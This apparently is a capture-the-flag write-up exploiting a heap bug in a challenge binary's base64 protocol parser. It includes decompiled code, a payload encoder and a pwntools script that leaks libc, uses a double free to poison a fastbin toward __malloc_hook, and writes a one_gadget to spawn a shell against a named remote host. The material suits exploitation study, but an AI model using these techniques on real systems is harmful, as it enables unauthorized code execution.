That can cause modify the size variable. If we new a normal data, then we input a size more than > 0x7F, when we execute Edit function, we can input more data to chunk. So that cause a heap overflow here.
v25 = __readfsqword(0x28u); memset(buf, 0, sizeof(buf)); read(0, buf, 0x1000uLL); memset(str, 0, sizeof(str)); base64_dec((unsigned __int8 *)buf, strlen(buf), (__int64)str); v19[0] = 0x1234567812345678LL; for ( i = 0LL; i != 8; ++i ) // check magic { if ( *((_BYTE *)v19 + i) != str[i] ) { v18 = "Illegal Magic!"; goto ERROR; // check_magic... goto error } } qword_2030C8 = 0LL; for ( j = 0LL; j != 8; ++j ) // calc vars[1]: strlen(source string) + 0x28 { v2 = (double)str[j + 8]; v3 = (double)(int)j; qword_2030C8 = (unsignedint)(int)(pow(256.0, v3) * v2 + (double)(int)qword_2030C8); } sz = 0LL; for ( k = 0LL; k != 8; ++k ) // vars[2]: defualt value is 8, this value we can control malloc size { v5 = str[k + 16]; v6 = (double)(int)k; size_ = (unsignedint)(int)(pow(256.0, v6) * (double)v5 + (double)(int)sz); sz = size_; } v8 = 0LL; v9 = malloc(size_); qword_2030D8 = 0LL; data_buf = v9; do { // vars[3]: strlen(source string) v10 = str[v8 + 0x18]; v11 = (double)(int)v8++; v12 = pow(256.0, v11) * (double)v10 + (double)(int)qword_2030D8; qword_2030D8 = (unsignedint)(int)v12; } while ( v8 != 8 ); global_ptr = calloc((unsignedint)(int)v12, 1uLL); if ( qword_2030C8 != (unsignedint)(int)v12 + sz + 0x20 )// check_size { v18 = "Illegal Head!"; ERROR: enc_print(v18); free(global_ptr); free(data_buf); return"ERROR"; } v20[0] = 0x4141414141414141LL; if ( sz > 0 ) // copy data to data_buf { v13 = 0LL; do { *((_BYTE *)data_buf + v13) = str[v13 + 0x20]; ++v13; } while ( sz > v13 ); } v14 = data_buf; for ( l = 0LL; l != 8; ++l ) // check end flag of protocol { if ( *((_BYTE *)v20 + l) != *((_BYTE *)data_buf + l) ) { strcpy(v23, "Illegal Key!Your key is "); memset(v24, 0, sizeof(v24)); _strcpy_chk((__int64)&v23[24], (__int64)data_buf, 0x2000LL); v18 = v23; goto ERROR; } } if ( qword_2030D8 > 0 ) { v16 = 0LL; do { *((_BYTE *)global_ptr + v16) = v26[v16 - 0x3FF0 + sz]; ++v16; } while ( qword_2030D8 > v16 ); v14 = data_buf; } free(v14); return (constchar *)global_ptr; }
We can learn a lot from this function. because some especial data in header of protocol is very important, that can control malloc and calloc memory’s size, and some information can result parsing protocol error.
So we can write a encode function as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13
defenc(d, ca_sz = -1, ma_sz = 8, ends = b'A' * 8): if(ca_sz == -1): ca_sz = len(d) p = p64(0x1234567812345678) # vars[0]: magic p += p64(ca_sz + ma_sz + 0x20) # vars[1]: size p += p64(ma_sz) # vars[2]: control malloc(size), data_buf p += p64(ca_sz) # vars[3]: strlen(source string), that can control calloc size # through the check function # we must make vars[1] == vars[2] + vars[3] p += ends # end flags of protocol p += d p = base64.b64encode(p) return p
Exploiting
How can we exploit?
First we should leak the libc, modify __malloc_hook as one_gadget by some ways, when we call malloc, then we can get shell.
How we do that?
We don’t know remote version what it is. we have to leak libc information by some vulnerability. I just use a normal way, then the program crashed with double free.
Using big unsorted bin can easily leak libc. We just malloc a big chunk, then free, when we next malloc our chunk
We can print main_arena address at our chunk
1 2 3 4 5 6 7 8 9 10 11
# malloc big size chuck ru('jZSA/Pg==\n') d = enc(b'', 0x18, 0x400) # set calloc size as 0x18, malloc size as 0x400 s(d) new(0x68, b'\x78') # malloc our chunk, then print it, that will leak main_arena address r = dp() leak = u64(r.ljust(8, b'\x00')) libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 88 one_gadget = libc_base + 0xf1207# Use one_gaget tools to find it __malloc_hook = libc_base + libc.sym['__malloc_hook'] li('libc_base: ' + hex(libc_base))
I debugged this program, I found have a lot min chunk to confusion layout of heap, so use heap overflow vulnerability not easily to control heap chunks.
But I found a double free vulnerability in this program.
# remote server ip and port host = "8.140.179.11:13452"
# if local debug LOCAL = 0 LIBC = 1
#--------------------------func----------------------------- defenc(d, ca_sz = -1, ma_sz = 8, ends = b'A' * 8): if(ca_sz == -1): ca_sz = len(d) p = p64(0x1234567812345678) # vars[0]: magic p += p64(ca_sz + ma_sz + 0x20) # vars[1]: size p += p64(ma_sz) # vars[2]: control malloc(size), data_buf p += p64(ca_sz) # vars[3]: strlen(source string), that can control calloc size # through the check function # we must make vars[1] == vars[2] + vars[3] p += ends # end flags of protocol p += d p = base64.b64encode(p) return p
defdec(d): p = base64.b64decode(d) return p[0x28:] # Remove header info, return body data
#--------------------------exploit-------------------------- defexploit(): li('exploit...') # Dump libc version, I dumped it, the version is 2.23 #dump_libc_version()
# Leak libc base # We just malloc a big chunk, then free, when we next malloc our chunk, # We can print main_arena address at our chunk # malloc big size chuck ru('jZSA/Pg==\n') d = enc(b'', 0x18, 0x400) # set malloc size as 0x400 s(d) new(0x68, b'\x78') # malloc our chunk, then print it, that will leak main_arena address r = dp() leak = u64(r.ljust(8, b'\x00')) libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 88 one_gadget = libc_base + 0xf1207# Use one_gaget tools to find it __malloc_hook = libc_base + libc.sym['__malloc_hook'] li('libc_base: ' + hex(libc_base)) li('__malloc_hook: ' + hex(__malloc_hook)) li('one_gadget: ' + hex(one_gadget))
# Now we can use usf vulnerability to modify fastbin fd to __malloc_hook - 0x23 # So when we next malloc(0x70) memory, we can modify __malloc_hook buffer as one_gadget # If we make dec_input return ERROR, so there is a obvious uaf vuln. # If we wannt use this uaf vuln, we should malloc to our target address, so when we freed # chunk, so next we must malloc to it, rather than exit this program
# Make uaf, when we input size at New statments, we set ends flag is error, so free(global_ptr) -> free(data_buf) -> free(global_ptr)
ru('jZSA/Pg==\n') s(enc(b'1')) # set malloc size as 0x400 print(dec(rl())) s(enc(b'A', 0x68, 0x68, b'B' * 8)) # debugging info: 0x70: 0x562c99a567a0 —▸ 0x562c99a56730 ◂— 0x562c99a567a0 # Next, we just malloc(0x68), set contents as __malloc_hook - 0x23. So we modified the fastbin fd as our target address new(0x68, p64(__malloc_hook - 0x23)) # debugging info: 0x70: 0x5596226f6730 —▸ 0x5596226f67a0 —▸ 0x7f7baf0a6aed (_IO_wide_data_0+301)